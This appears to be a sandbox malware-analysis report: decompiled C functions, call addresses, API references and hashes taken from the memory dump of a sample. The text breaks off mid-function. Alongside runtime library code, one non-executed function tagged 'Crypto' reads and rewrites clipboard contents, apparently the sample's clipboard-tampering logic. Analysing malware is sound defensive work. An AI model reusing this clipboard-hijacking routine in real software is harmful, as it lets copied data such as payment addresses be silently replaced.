0x00405170
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00405170
0x00405150
0x00405146
0x00405187
0x0040518d
0x0040518d
0x00405191
0x00405198
0x0040501c
0x0040501c
0x00405020
0x00405020
0x00405024
0x00405024
0x00405024
0x0040502b
0x0040502d
0x0040502f
0x00405033
0x00405035
0x0040507e
0x00405082
0x00405085
0x00405089
0x0040508c
0x00405092
0x00405097
0x0040509a
0x0040509c
0x00000000
0x0040509c
0x00405037
0x00405037
0x0040503d
0x0040503d
0x00405041
0x00405043
0x00405045
0x00405049
0x0040504f
0x0040504f
0x00405051
0x0040504b
0x0040504b
0x0040504d
0x00000000
0x00000000
0x0040504d
0x00405049
0x0040505c
0x00405064
0x0040506b
0x0040506f
0x00405071
0x00405075
0x0040507a
0x00000000
0x00405039
0x00405039
0x0040503b
0x00000000
0x00000000
0x00000000
0x00000000
0x0040503b
0x00405037
0x00000000
0x0040509f
0x0040509f
0x004050a1
0x004050a5
0x004050a9
0x004050a9
0x004050b1
0x00000000
0x00000000
0x00000000
0x004050b3
0x004050b3
0x004050b3
0x004050bb
0x004050be
0x004050be
0x004050c5
0x004050cf
0x004050cf
0x00405005
0x0040500f
0x0040500f

APIs

__fread_nolock.LIBCMT ref: 0040515B
__fread_nolock.LIBCMT ref: 0040517D

Memory Dump Source

Source File: 0000000E.00000002.576910103.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_336E.jbxd

Similarity

API ID: __fread_nolock
String ID:
API String ID: 2638373210-0
Opcode ID: 0ac186de8173e836d64ea4dd8b33efb366802e11e028438706aeff430bbd6b64
Instruction ID: 986d411bb441575111edcd92c18ced28c16d22038d465e92f8789a3aa8dafabb
Opcode Fuzzy Hash: 0ac186de8173e836d64ea4dd8b33efb366802e11e028438706aeff430bbd6b64
Instruction Fuzzy Hash: B5515A72A046018FCB14CE2DD880A6B77A6EFC5320F15867AE858DB395E735DC058F99

Uniqueness

Uniqueness Score: -1.00%

Function 00412F35 Relevance: 3.0, APIs: 2, Instructions: 35
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 31%

			E00412F35(intOrPtr __eax, intOrPtr __ebx, intOrPtr __edx, void* __edi, intOrPtr __esi, intOrPtr _a4) {
				signed int* _v4;
				void* __ebp;
				void* _t12;
				int _t13;
				signed int* _t17;
				signed int _t20;
				signed int _t21;
				void* _t28;

				_t24 = __esi;
				_t22 = __edx;
				_t16 = __ebx;
				if( *0x443040 == 0) {
					__eflags = E00427A7D();
					if(__eflags != 0) {
						_push(0x16);
						E00427AC2(__ebx, __edx, __edi, __esi, __eflags);
					}
					__eflags =  *0x4431b0 & 0x00000002;
					if(( *0x4431b0 & 0x00000002) != 0) {
						_t13 = IsProcessorFeaturePresent(0x17);
						__eflags = _t13;
						if(_t13 != 0) {
							_push(7);
							asm("int 0x29");
						}
						E00417E53(_t16, _t22, _t24, 3, 0x40000015, 1);
						_t28 = _t28 + 0xc;
					}
					E0041E282(3);
					asm("int3");
					_t17 = _v4;
					_t12 = 0;
					__eflags =  *_t17;
					if( *_t17 != 0) {
						while(1) {
							__eflags = _t12 - _a4;
							if(_t12 == _a4) {
								goto L12;
							}
							_t12 = _t12 + 1;
							__eflags =  *((char*)(_t12 + _t17));
							if( *((char*)(_t12 + _t17)) != 0) {
								continue;
							}
							goto L12;
						}
					}
					L12:
					return _t12;
				} else {
					__imp__EncodePointer(_a4);
					_t20 =  *0x443040; // 0xa
					_t21 = _t20 - 1;
					 *0x443040 = _t21;
					 *((intOrPtr*)(0x4443a4 + _t21 * 4)) = __eax;
					return __eax;
				}
			}

0x00412f35
0x00412f35
0x00412f35
0x00412f3f
0x0041d1ce
0x0041d1d0
0x0041d1d2
0x0041d1d4
0x0041d1d9
0x0041d1da
0x0041d1e1
0x0041d1e5
0x0041d1eb
0x0041d1ed
0x0041d1ef
0x0041d1f2
0x0041d1f2
0x0041d1fd
0x0041d202
0x0041d202
0x0041d207
0x0041d20c
0x0041d212
0x0041d215
0x0041d217
0x0041d219
0x0041d21b
0x0041d21b
0x0041d21e
0x00000000
0x00000000
0x0041d220
0x0041d221
0x0041d225
0x00000000
0x00000000
0x00000000
0x0041d225
0x0041d21b
0x0041d228
0x0041d228
0x00412f45
0x00412f48
0x00412f4e
0x00412f54
0x00412f55
0x00412f5b
0x00412f63
0x00412f63

APIs

RtlEncodePointer.NTDLL(?,?,00412805,0041284B,?,00412692,00000000,00000000,00000000,00000004,0040356C,00000001,7239E5FC,?,?,004314D0), ref: 00412F48
IsProcessorFeaturePresent.KERNEL32(00000017,00417E52,?,00417DC1,?,00000016,00417FD0,?,?,?,?,?,00000000,?,?,?), ref: 0041D1E5

Memory Dump Source

Source File: 0000000E.00000002.576910103.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_336E.jbxd

Similarity

API ID: EncodeFeaturePointerPresentProcessor
String ID:
API String ID: 4030241255-0
Opcode ID: 6eca7e34881e82b6d2a9032cfd5fffcc2573d740208f39ec2c3c5302838dbfb6
Instruction ID: 71809bd5bdf5530853f67bde16b54822b6a1af32fd73506e62925f4ebafa984f
Opcode Fuzzy Hash: 6eca7e34881e82b6d2a9032cfd5fffcc2573d740208f39ec2c3c5302838dbfb6
Instruction Fuzzy Hash: DBF0E9B8688305BAE7146F15BC0BBA63BA46B11F1AF04007EF909651E7EB794780C51C

Uniqueness

Uniqueness Score: -1.00%

Function 00421955 Relevance: 3.0, APIs: 2, Instructions: 22
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00421955(void* _a4) {
				char _t3;
				intOrPtr _t5;
				intOrPtr* _t6;

				if(_a4 != 0) {
					_t3 = RtlFreeHeap( *0x444f1c, 0, _a4); // executed
					if(_t3 == 0) {
						_t5 = E0041C9B6(GetLastError());
						_t6 = E0041CA53();
						 *_t6 = _t5;
						return _t6;
					}
				}
				return _t3;
			}

0x0042195e
0x0042196b
0x00421973
0x0042197d
0x00421985
0x0042198a
0x00000000
0x0042198c
0x00421973
0x0042198e

APIs

RtlFreeHeap.NTDLL(00000000,00000000,?,0042A0CD,00000000,00000000,00000000,?,0042A36E,00000000,00000007,00000000,?,0042A867,00000000,00000000), ref: 0042196B
GetLastError.KERNEL32(00000000,?,0042A0CD,00000000,00000000,00000000,?,0042A36E,00000000,00000007,00000000,?,0042A867,00000000,00000000), ref: 00421976

Memory Dump Source

Source File: 0000000E.00000002.576910103.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_336E.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: dcde57b0990e1f4e9072756eb11073614cdf93dbe79977425675ace205ea457d
Instruction ID: c0c939cfa545bbd4bb54645d629c2fc0b704d5f1bcbd08687294aa7a724605f6
Opcode Fuzzy Hash: dcde57b0990e1f4e9072756eb11073614cdf93dbe79977425675ace205ea457d
Instruction Fuzzy Hash: 27E08C72200214ABCB212FA5BD08B8A7BA89F40796F114026F60C862B0DA3999C0CBCC

Uniqueness

Uniqueness Score: -1.00%

Function 00407F70 Relevance: 1.6, APIs: 1, Instructions: 88
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 64%

			E00407F70(void* __ecx, void* __edx, void* __eflags, intOrPtr _a4) {
				intOrPtr _v8;
				char _v16;
				intOrPtr* _v20;
				char _v24;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t32;
				intOrPtr _t37;
				intOrPtr* _t42;
				intOrPtr* _t44;
				void* _t47;
				char _t48;
				intOrPtr* _t51;
				intOrPtr* _t53;
				void* _t62;
				void* _t63;
				void* _t65;
				intOrPtr _t66;
				signed int _t68;
				void* _t73;

				_t73 = __eflags;
				_t32 =  *0x443048; // 0x7239e5fc
				 *[fs:0x0] =  &_v16;
				_t63 = __ecx;
				 *((intOrPtr*)(__ecx + 0x30)) = 0;
				 *((intOrPtr*)(__ecx + 8)) = 0;
				 *((intOrPtr*)(__ecx + 0x10)) = 0;
				 *((intOrPtr*)(__ecx + 0x14)) = 0x201;
				 *((intOrPtr*)(__ecx + 0x18)) = 6;
				 *((intOrPtr*)(__ecx + 0x1c)) = 0;
				 *((intOrPtr*)(__ecx + 0x20)) = 0;
				 *((intOrPtr*)(__ecx + 0x24)) = 0;
				 *((intOrPtr*)(__ecx + 0x28)) = 0;
				 *((intOrPtr*)(__ecx + 0x2c)) = 0;
				E00403A00(_t47, __ecx, 0);
				_t66 = E0041362C(_t47, __ecx, _t65, _t73, 8);
				asm("xorps xmm0, xmm0");
				asm("movq [esi], xmm0");
				_v8 = 0;
				_t37 = E00412660(_t47, _t63, _t66, _t73); // executed
				 *((intOrPtr*)(_t66 + 4)) = _t37;
				 *((intOrPtr*)(_t63 + 0x30)) = _t66;
				 *((intOrPtr*)(_t63 + 0x38)) = _a4;
				 *((intOrPtr*)(_t63 + 0x3c)) = 0;
				_t51 =  *((intOrPtr*)(_t66 + 4));
				_v20 = _t51;
				 *((intOrPtr*)( *_t51 + 4))(1, 0, _t32 ^ _t68, _t62, _t65, _t47,  *[fs:0x0], 0x431b1d, 0xffffffff);
				_v8 = 1;
				_t42 = E00408230(_t47,  &_v24); // executed
				_t44 =  *((intOrPtr*)( *((intOrPtr*)( *_t42 + 0x20))))(0x20);
				_v8 = 0xffffffff;
				_t48 = _t44;
				_t53 = _v20;
				if(_t53 != 0) {
					_t44 =  *((intOrPtr*)( *_t53 + 8))();
					if(_t44 != 0) {
						_t44 =  *((intOrPtr*)( *_t44))(1);
					}
				}
				 *((char*)(_t63 + 0x40)) = _t48;
				if( *((intOrPtr*)(_t63 + 0x38)) == 0) {
					_push(0);
					_t44 = E00403A00(_t48, _t63,  *(_t63 + 0xc) | 0x00000004);
				}
				 *[fs:0x0] = _v16;
				return _t44;
			}

0x00407f70
0x00407f87
0x00407f92
0x00407f98
0x00407f9e
0x00407fa5
0x00407fac
0x00407fb3
0x00407fba
0x00407fc1
0x00407fc8
0x00407fcf
0x00407fd6
0x00407fdd
0x00407fe4
0x00407ff0
0x00407ff2
0x00407ff5
0x00407ffb
0x00408002
0x00408007
0x00408010
0x00408013
0x00408016
0x0040801d
0x00408020
0x00408025
0x0040802b
0x00408033
0x00408044
0x00408046
0x0040804d
0x0040804f
0x00408054
0x00408058
0x0040805d
0x00408065
0x00408065
0x0040805d
0x0040806b
0x0040806e
0x00408075
0x0040807b
0x0040807b
0x00408083
0x00408091

APIs

Part of subcall function 00403A00: ___std_exception_copy.LIBVCRUNTIME ref: 00403A9F

std::locale::_Init.LIBCPMT ref: 00408002

Part of subcall function 00412660: __EH_prolog3.LIBCMT ref: 00412667
Part of subcall function 00412660: std::_Lockit::_Lockit.LIBCPMT ref: 00412672
Part of subcall function 00412660: std::locale::_Setgloballocale.LIBCPMT ref: 0041268D
Part of subcall function 00412660: _Yarn.LIBCPMT ref: 004126A3
Part of subcall function 00412660: std::_Lockit::~_Lockit.LIBCPMT ref: 004126E3

Part of subcall function 00408230: std::_Lockit::_Lockit.LIBCPMT ref: 00408266
Part of subcall function 00408230: std::_Lockit::_Lockit.LIBCPMT ref: 00408289
Part of subcall function 00408230: std::_Lockit::~_Lockit.LIBCPMT ref: 004082A9
Part of subcall function 00408230: std::_Lockit::~_Lockit.LIBCPMT ref: 00408333

Memory Dump Source

Source File: 0000000E.00000002.576910103.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_336E.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$std::locale::_$H_prolog3InitSetgloballocaleYarn___std_exception_copy
String ID:
API String ID: 2837286730-0
Opcode ID: 2b0f6ad451beec99d2bd0fd1f19ce97eff28aa21e7a4a934aca0143eea244172
Instruction ID: 5c9de59e41498ad39f685fdc9ea81034a62a864096537487ad654ab263d0b571
Opcode Fuzzy Hash: 2b0f6ad451beec99d2bd0fd1f19ce97eff28aa21e7a4a934aca0143eea244172
Instruction Fuzzy Hash: 4E318EB0600605AFE700DF65C959B4ABBF4FF44718F10422EE4159BBC0D7BAA968CBD4

Uniqueness

Uniqueness Score: -1.00%

Function 00425DFF Relevance: 1.6, APIs: 1, Instructions: 54
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 72%

			E00425DFF(void* __ecx, void* __edi, void* __esi, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr* _a16) {
				char _v8;
				char _v12;
				void* _v16;
				intOrPtr _v20;
				char _v32;
				void* _t26;

				E00425BD5(__ecx,  &_v32, _a8);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				if(_v12 == 0) {
					L3:
					return 0;
				} else {
					_t26 = E0042E707( &_v8, _a4, _v20, _a12, 0x180); // executed
					if(_t26 != 0) {
						goto L3;
					} else {
						 *0x444858 =  *0x444858 + 1;
						asm("lock or [eax], ecx");
						 *((intOrPtr*)(_a16 + 8)) = 0;
						 *((intOrPtr*)(_a16 + 0x1c)) = 0;
						 *((intOrPtr*)(_a16 + 4)) = 0;
						 *_a16 = 0;
						 *((intOrPtr*)(_a16 + 0x10)) = _v8;
						return _a16;
					}
				}
			}

0x00425e10
0x00425e1c
0x00425e1d
0x00425e1e
0x00425e25
0x00425e7e
0x00425e81
0x00425e27
0x00425e39
0x00425e43
0x00000000
0x00425e45
0x00425e48
0x00425e54
0x00425e5c
0x00425e62
0x00425e68
0x00425e6e
0x00425e76
0x00425e7d
0x00425e7d
0x00425e43

APIs

__wsopen_s.LIBCMT ref: 00425E39

Memory Dump Source

Source File: 0000000E.00000002.576910103.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_336E.jbxd

Similarity

API ID: __wsopen_s
String ID:
API String ID: 3347428461-0
Opcode ID: b44f4f7407b48a802bd2c702554a7916618dbcc2df1fba91728dd1af531ddf05
Instruction ID: 7db6a8036cf9c55afa674b204bd79a168285c7ee609ac75982f632ddfeab5a45
Opcode Fuzzy Hash: b44f4f7407b48a802bd2c702554a7916618dbcc2df1fba91728dd1af531ddf05
Instruction Fuzzy Hash: 98112A75A0410AAFCF05DF59E94199B7BF5EF48304F1540AAF805EB351D634EE11CB68

Uniqueness

Uniqueness Score: -1.00%

Function 00421D39 Relevance: 1.5, APIs: 1, Instructions: 32
memoryCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E00421D39(long _a4) {
				void* _t4;
				void* _t6;
				long _t8;

				_t8 = _a4;
				if(_t8 > 0xffffffe0) {
					L7:
					 *((intOrPtr*)(E0041CA53())) = 0xc;
					__eflags = 0;
					return 0;
				}
				if(_t8 == 0) {
					_t8 = _t8 + 1;
				}
				while(1) {
					_t4 = RtlAllocateHeap( *0x444f1c, 0, _t8); // executed
					if(_t4 != 0) {
						break;
					}
					__eflags = E0041FB58();
					if(__eflags == 0) {
						goto L7;
					}
					_t6 = E0041FBA3(__eflags, _t8);
					__eflags = _t6;
					if(_t6 == 0) {
						goto L7;
					}
				}
				return _t4;
			}

0x00421d3f
0x00421d45
0x00421d77
0x00421d7c
0x00421d82
0x00000000
0x00421d82
0x00421d49
0x00421d4b
0x00421d4b
0x00421d62
0x00421d6b
0x00421d73
0x00000000
0x00000000
0x00421d53
0x00421d55
0x00000000
0x00000000
0x00421d58
0x00421d5e
0x00421d60
0x00000000
0x00000000
0x00421d60
0x00000000

APIs

RtlAllocateHeap.NTDLL(00000000,?,?,?,0041465B,?,?,?,?,?,00402EC7,?,?,?), ref: 00421D6B

Memory Dump Source

Source File: 0000000E.00000002.576910103.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_336E.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: b90c3639d89196f7415b1e5ddaf506038d920dfc196135e14af2af2aa13ca5c3
Instruction ID: e41402c04db4bb6d9732386b824abf81ca3506d721ef2a0627249ce3b05f17f2
Opcode Fuzzy Hash: b90c3639d89196f7415b1e5ddaf506038d920dfc196135e14af2af2aa13ca5c3
Instruction Fuzzy Hash: F2E0E531315630D6D7312662BC04B9B364C8F623A1FD50027AC54962B0CB6CFC4241ED

Uniqueness

Uniqueness Score: -1.00%

Function 0042E3E0 Relevance: 1.5, APIs: 1, Instructions: 15
fileCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E0042E3E0(WCHAR* _a4, struct _SECURITY_ATTRIBUTES* _a8, long _a16, long _a20, long _a24, signed int _a28, signed int _a32) {
				void* _t10;

				_t10 = CreateFileW(_a4, _a16, _a24, _a8, _a20, _a28 | _a32, 0); // executed
				return _t10;
			}

0x0042e3fd
0x0042e404

APIs

CreateFileW.KERNELBASE(?,00000000,?,0042E7D0,?,?,00000000,?,0042E7D0,?,0000000C), ref: 0042E3FD

Memory Dump Source

Source File: 0000000E.00000002.576910103.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_336E.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: c6c67b73b85157684baddafc9f1c0358a7fbbbd9eca74e4c20464c5f364c8c4d
Instruction ID: cc0b132004d303e3d2635d1dc79cbc5594d43187f68baabfeda04fd37ae21548
Opcode Fuzzy Hash: c6c67b73b85157684baddafc9f1c0358a7fbbbd9eca74e4c20464c5f364c8c4d
Instruction Fuzzy Hash: 7CD06C3200010DBBDF028F84DD06EDA3BAAFB48714F114010FA1866020C736E921AB94

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00402830 Relevance: 33.6, APIs: 22, Instructions: 553
COMMONCrypto

Download Yara Rule

C-Code - Quality: 47%

			E00402830(void* __ebx, signed int __ecx, void* __edx, void* __edi, void* __esi, signed int _a4, void* _a8, intOrPtr _a12, intOrPtr _a16) {
				intOrPtr _v0;
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				struct HWND__* _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				signed int _v36;
				struct HWND__* _v40;
				struct HWND__* _v44;
				signed int _v48;
				signed int _v52;
				intOrPtr _v56;
				signed int _v60;
				intOrPtr _v64;
				char _v100;
				signed int _v104;
				intOrPtr _v132;
				signed int _t109;
				signed int _t126;
				void* _t127;
				signed int _t130;
				signed int _t132;
				signed int _t138;
				signed int _t139;
				signed int _t141;
				signed int _t149;
				signed int _t151;
				signed int _t152;
				signed int _t154;
				signed int _t162;
				signed int _t165;
				signed int _t173;
				signed int _t176;
				signed int _t177;
				signed int _t181;
				signed int _t182;
				unsigned int _t184;
				void* _t185;
				signed int _t199;
				signed int _t201;
				void* _t203;
				signed int _t206;
				signed int _t210;
				void* _t211;
				int _t213;
				signed int _t217;
				signed int _t221;
				signed int _t224;
				intOrPtr _t228;
				intOrPtr _t229;
				signed int _t235;
				struct HWND__* _t239;
				int* _t240;
				struct HWND__* _t242;
				void* _t247;
				signed int _t250;
				signed int _t251;
				void* _t254;
				void* _t255;
				void* _t258;
				signed int _t261;
				signed int _t262;
				signed int _t264;
				signed int _t269;
				void* _t270;
				signed int _t273;
				intOrPtr _t275;
				void* _t276;
				signed int _t281;
				void* _t284;
				void* _t285;
				void* _t286;
				signed int _t288;
				signed int _t290;
				void* _t296;
				void* _t297;
				void* _t298;
				signed int _t299;

				_t268 = __esi;
				_t249 = __edx;
				_t209 = __ebx;
				_t284 = _t296;
				_t297 = _t296 - 8;
				_push(__edi);
				_t254 = _a8;
				_t109 = __ecx;
				_t221 = _a4;
				_v8 = __ecx;
				_v12 = _t221;
				if(_t254 > 0x7fffffff) {
					E00401BD0(__ebx, _t221, __edx);
					goto L15;
				} else {
					 *(__ecx + 0x14) = 0xf;
					if(_t254 >= 0x10) {
						_push(__ebx);
						_push(__esi);
						_t281 = _t254 | 0x0000000f;
						__eflags = _t281 - 0x7fffffff;
						if(_t281 <= 0x7fffffff) {
							__eflags = _t281 - 0x16;
							_t268 =  <  ? 0x16 : _t281;
							_t221 = _t268 + 1;
							__eflags = _t221 - 0x1000;
							if(_t221 < 0x1000) {
								__eflags = _t221;
								if(__eflags == 0) {
									_t217 = 0;
									__eflags = 0;
								} else {
									_t217 = E0041362C(__ebx, _t254, _t268, __eflags, _t221);
									_t297 = _t297 + 4;
									_t109 = _v8;
								}
								goto L13;
							} else {
								_t11 = _t221 + 0x23; // 0x23
								_t205 = _t11;
								__eflags = _t11 - _t221;
								if(__eflags <= 0) {
									L15:
									E00401B30();
									goto L16;
								} else {
									goto L5;
								}
							}
						} else {
							_t268 = 0x7fffffff;
							_t205 = 0xffffffff80000023;
							__eflags = 0x80000000;
							L5:
							_t206 = E0041362C(_t209, _t254, _t268, __eflags, _t205);
							_t297 = _t297 + 4;
							__eflags = _t206;
							if(_t206 == 0) {
								L16:
								E0041805F(_t209, _t221, _t249);
								asm("int3");
								asm("int3");
								_push(_t284);
								_t285 = _t297;
								_t298 = _t297 - 0x10;
								_push(_t209);
								_t210 = _t221;
								_v32 = _v0;
								_t222 = 0x7fffffff;
								_push(_t268);
								_t250 =  *((intOrPtr*)(_t210 + 0x10));
								_t269 = _v8;
								_v20 = _t250;
								_push(_t254);
								__eflags = 0x7fffffff - _t250 - _t269;
								if(0x7fffffff - _t250 < _t269) {
									E00401BD0(_t210, 0x7fffffff, _t250);
									goto L38;
								} else {
									_t182 = _t250 + _t269;
									_t269 =  *(_t210 + 0x14);
									_v16 = _t182;
									_t261 = _t182 | 0x0000000f;
									_v20 = _t269;
									__eflags = _t261 - 0x7fffffff;
									if(_t261 <= 0x7fffffff) {
										_t184 = _t269 >> 1;
										_t222 = 0x7fffffff - _t184;
										__eflags = _t269 - _t222;
										if(_t269 <= _t222) {
											_t185 = _t184 + _t269;
											__eflags = _t261 - _t185;
											_t254 =  <  ? _t185 : _t261;
											_t29 = _t254 + 1; // 0x80000000
											_t222 = _t29;
											__eflags = _t222 - 0x1000;
											if(_t222 < 0x1000) {
												__eflags = _t222;
												if(__eflags == 0) {
													_t269 = 0;
													__eflags = 0;
												} else {
													_t199 = E0041362C(_t210, _t254, _t269, __eflags, _t222);
													_t250 = _v12;
													_t298 = _t298 + 4;
													_t269 = _t199;
												}
												goto L31;
											} else {
												_t30 = _t222 + 0x23; // 0x80000023
												_t200 = _t30;
												__eflags = _t30 - _t222;
												if(__eflags <= 0) {
													L38:
													E00401B30();
													goto L39;
												} else {
													goto L21;
												}
											}
										} else {
											_t254 = 0x7fffffff;
											goto L20;
										}
									} else {
										_t254 = 0x7fffffff;
										L20:
										_t200 = 0xffffffff80000023;
										__eflags = 0x80000000;
										L21:
										_t201 = E0041362C(_t210, _t254, _t269, __eflags, _t200);
										_t298 = _t298 + 4;
										__eflags = _t201;
										if(_t201 == 0) {
											L39:
											E0041805F(_t210, _t222, _t250);
											asm("int3");
											asm("int3");
											asm("int3");
											asm("int3");
											asm("int3");
											asm("int3");
											_push(_t285);
											_t286 = _t298;
											_t299 = _t298 - 0x10;
											_t251 = _v24;
											asm("xorps xmm0, xmm0");
											_push(_t210);
											_t211 = _t222;
											_v56 = _v28;
											_t224 = _v16 + _t251;
											_push(_t269);
											_t270 = 0xf;
											_v48 = _t251;
											_v60 = _v20;
											_v52 = _t224;
											asm("movups [ebx], xmm0");
											 *(_t211 + 0x10) = 0;
											 *(_t211 + 0x14) = 0;
											_push(_t254);
											_t255 = _t211;
											__eflags = _t224 - 0xf;
											if(_t224 <= 0xf) {
												L52:
												 *(_t211 + 0x10) = _t224;
												 *(_t211 + 0x14) = _t270;
												E00414BF0(_t255, _v24, _t251);
												__eflags = _t255 + _v16;
												E00414BF0(_t255 + _v16, _v28, _a16);
												 *((char*)(_t255 + _v20)) = 0;
												return _t211;
											} else {
												_t273 = _t224 | 0x0000000f;
												__eflags = _t273 - 0x7fffffff;
												if(_t273 <= 0x7fffffff) {
													__eflags = _t273 - 0x16;
													_t270 =  <  ? 0x16 : _t273;
													_t126 = _t270 + 1;
													__eflags = _t126 - 0x1000;
													if(_t126 < 0x1000) {
														__eflags = _t126;
														if(__eflags == 0) {
															_t255 = 0;
															__eflags = 0;
														} else {
															_t127 = E0041362C(_t211, _t255, _t270, __eflags, _t126);
															_t224 = _v20;
															_t299 = _t299 + 4;
															_t251 = _v16;
															_t255 = _t127;
														}
														goto L51;
													} else {
														_t65 = _t126 + 0x23; // 0x23
														_t227 = _t65;
														__eflags = _t65 - _t126;
														if(__eflags <= 0) {
															E00401B30();
															goto L54;
														} else {
															goto L43;
														}
													}
												} else {
													_t270 = 0x7fffffff;
													_t227 = 0xffffffff80000023;
													__eflags = 0x80000000;
													L43:
													_t181 = E0041362C(_t211, _t255, _t270, __eflags, _t227);
													_t299 = _t299 + 4;
													__eflags = _t181;
													if(_t181 == 0) {
														L54:
														E0041805F(_t211, _t227, _t251);
														asm("int3");
														asm("int3");
														asm("int3");
														asm("int3");
														asm("int3");
														asm("int3");
														asm("int3");
														asm("int3");
														_push(_t286);
														_t288 = _t299;
														_push(_t211);
														_push(_t270);
														_push(_t255);
														_t130 = OpenClipboard(0);
														__eflags = _t130;
														if(_t130 == 0) {
															L67:
															_t213 = 0;
															__eflags = 0;
														} else {
															_t165 = EmptyClipboard();
															__eflags = _t165;
															if(_t165 != 0) {
																_t255 = GlobalAlloc(0x2000, _a8 + 1);
																__eflags = _t255;
																if(_t255 != 0) {
																	_t270 = GlobalLock(_t255);
																	__eflags = _t270;
																	if(_t270 != 0) {
																		__eflags = _a12 - 0x10;
																		_t244 =  >=  ? _v8 :  &_v8;
																		E00414BF0(_t270,  >=  ? _v8 :  &_v8, _a8 + 1);
																		_t299 = _t299 + 0xc;
																		_t173 = GlobalUnlock(_t255);
																		__eflags = _t173;
																		if(_t173 == 0) {
																			L66:
																			CloseClipboard();
																			GlobalFree(_t270);
																			goto L67;
																		} else {
																			_t176 = SetClipboardData(1, _t255);
																			__eflags = _t176;
																			if(_t176 == 0) {
																				goto L66;
																			} else {
																				_t177 = CloseClipboard();
																				__eflags = _t177;
																				if(_t177 == 0) {
																					goto L67;
																				} else {
																					_t213 = 1;
																				}
																			}
																		}
																	} else {
																		CloseClipboard();
																		goto L67;
																	}
																} else {
																	CloseClipboard();
																	goto L67;
																}
															} else {
																CloseClipboard();
																goto L67;
															}
														}
														_t228 = _a12;
														__eflags = _t228 - 0x10;
														if(_t228 < 0x10) {
															L72:
															return _t213;
														} else {
															_t252 = _v8;
															_t229 = _t228 + 1;
															_t132 = _v8;
															__eflags = _t229 - 0x1000;
															if(_t229 < 0x1000) {
																L71:
																_push(_t229);
																E004138AD(_t252);
																goto L72;
															} else {
																_t252 =  *(_t132 - 4);
																_t229 = _t229 + 0x23;
																__eflags = _t132 - _t252 + 0xfffffffc - 0x1f;
																if(_t132 - _t252 + 0xfffffffc > 0x1f) {
																	E0041805F(_t213, _t229, _t252);
																	asm("int3");
																	asm("int3");
																	asm("int3");
																	asm("int3");
																	asm("int3");
																	asm("int3");
																	asm("int3");
																	_push(_t288);
																	_t290 = _t299;
																	_push(0xffffffff);
																	_push(0x43145d);
																	_push( *[fs:0x0]);
																	_t138 =  *0x443048; // 0x7239e5fc
																	_t139 = _t138 ^ _t290;
																	_v104 = _t139;
																	_push(_t270);
																	_push(_t255);
																	_push(_t139);
																	 *[fs:0x0] =  &_v100;
																	_t275 = _t229;
																	_v132 = _t275;
																	_v132 = _t275;
																	_t141 = OpenClipboard(0);
																	__eflags = _t141;
																	if(_t141 == 0) {
																		L77:
																		asm("xorps xmm0, xmm0");
																		asm("movups [esi], xmm0");
																		_push(0);
																		 *(_t275 + 0x10) = 0;
																		_push(0x43e90c);
																		 *(_t275 + 0x14) = 0;
																		E00402830(_t213, _t275, _t252, _t255, _t275);
																		goto L92;
																	} else {
																		_t255 = GetClipboardData(1);
																		__eflags = _t255;
																		if(_t255 != 0) {
																			_t252 = GlobalLock(_t255);
																			__eflags = _t252;
																			if(_t252 == 0) {
																				goto L76;
																			} else {
																				_t235 = _t252;
																				_v44 = 0;
																				asm("xorps xmm0, xmm0");
																				_v40 = 0;
																				asm("movups [ebp-0x28], xmm0");
																				_t92 = _t235 + 1; // 0x1
																				_v64 = _t92;
																				do {
																					_t149 =  *_t235;
																					_t235 = _t235 + 1;
																					__eflags = _t149;
																				} while (_t149 != 0);
																				_push(_t235 - _v64);
																				_push(_t252);
																				E00402830(_t213,  &_v60, _t252, _t255, _t275);
																				_v24 = 0;
																				_t151 = GlobalUnlock(_t255);
																				__eflags = _t151;
																				if(_t151 != 0) {
																					_t152 = CloseClipboard();
																					asm("xorps xmm0, xmm0");
																					asm("movups [esi], xmm0");
																					 *(_t275 + 0x10) = 0;
																					 *(_t275 + 0x14) = 0;
																					__eflags = _t152;
																					if(_t152 != 0) {
																						asm("movups xmm0, [ebp-0x28]");
																						asm("movups [esi], xmm0");
																						asm("movq xmm0, [ebp-0x18]");
																						asm("movq [esi+0x10], xmm0");
																						goto L92;
																					} else {
																						_push(_t152);
																						_push(0x43e90c);
																						E00402830(_t213, _t275, _t252, _t255, _t275);
																						_t239 = _v40;
																						__eflags = _t239 - 0x10;
																						if(_t239 < 0x10) {
